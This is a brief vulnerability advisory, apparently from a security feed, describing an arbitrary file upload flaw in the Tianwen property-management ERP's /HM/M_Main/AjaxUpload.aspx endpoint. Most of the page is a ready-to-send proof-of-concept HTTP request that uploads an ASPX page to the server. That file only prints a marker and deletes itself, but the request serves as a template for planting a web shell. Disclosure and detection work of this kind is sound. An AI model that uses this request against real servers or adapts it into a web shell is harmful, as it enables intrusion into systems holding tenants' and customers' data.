天问物业ERP系统 /HM/M_Main/AjaxUpload.aspx 文件上传漏洞

2026-04-24 天问物业ERP系统 PoC Public

Description

天问物业管理系统是一款面向物业管理企业的综合管理平台，提供房产管理、客户管理、收费管理、设备管理、合同管理等核心功能模块，广泛应用于住宅小区、商业综合体、写字楼等各类物业管理场景。天问物业 /HM/M_Main/AjaxUpload.aspx 接口存在文件上传漏洞，攻击者可上传恶意文件获取服务器权限。

PoC

POST /HM/M_Main/AjaxUpload.aspx HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 302
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySwvD8hSn3Z0sHfMu
Cookie: JSESSIONID=0000dBqbBaKUSFPmzZyzIVvGfj2:ncMem07
Accept-Encoding: gzip

------WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name="UpFileData"; filename="ybdpqoee.aspx"


<%@ Page Language="C#"%><% Response.Write("ryiymufqfeklbyokdmbj");System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath)); %>
------WebKitFormBoundarySwvD8hSn3Z0sHfMu--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Tianwen Property ERP System /HM/M_Main/AjaxUpload.aspx File Upload Vulnerability

References

Related Vulnerabilities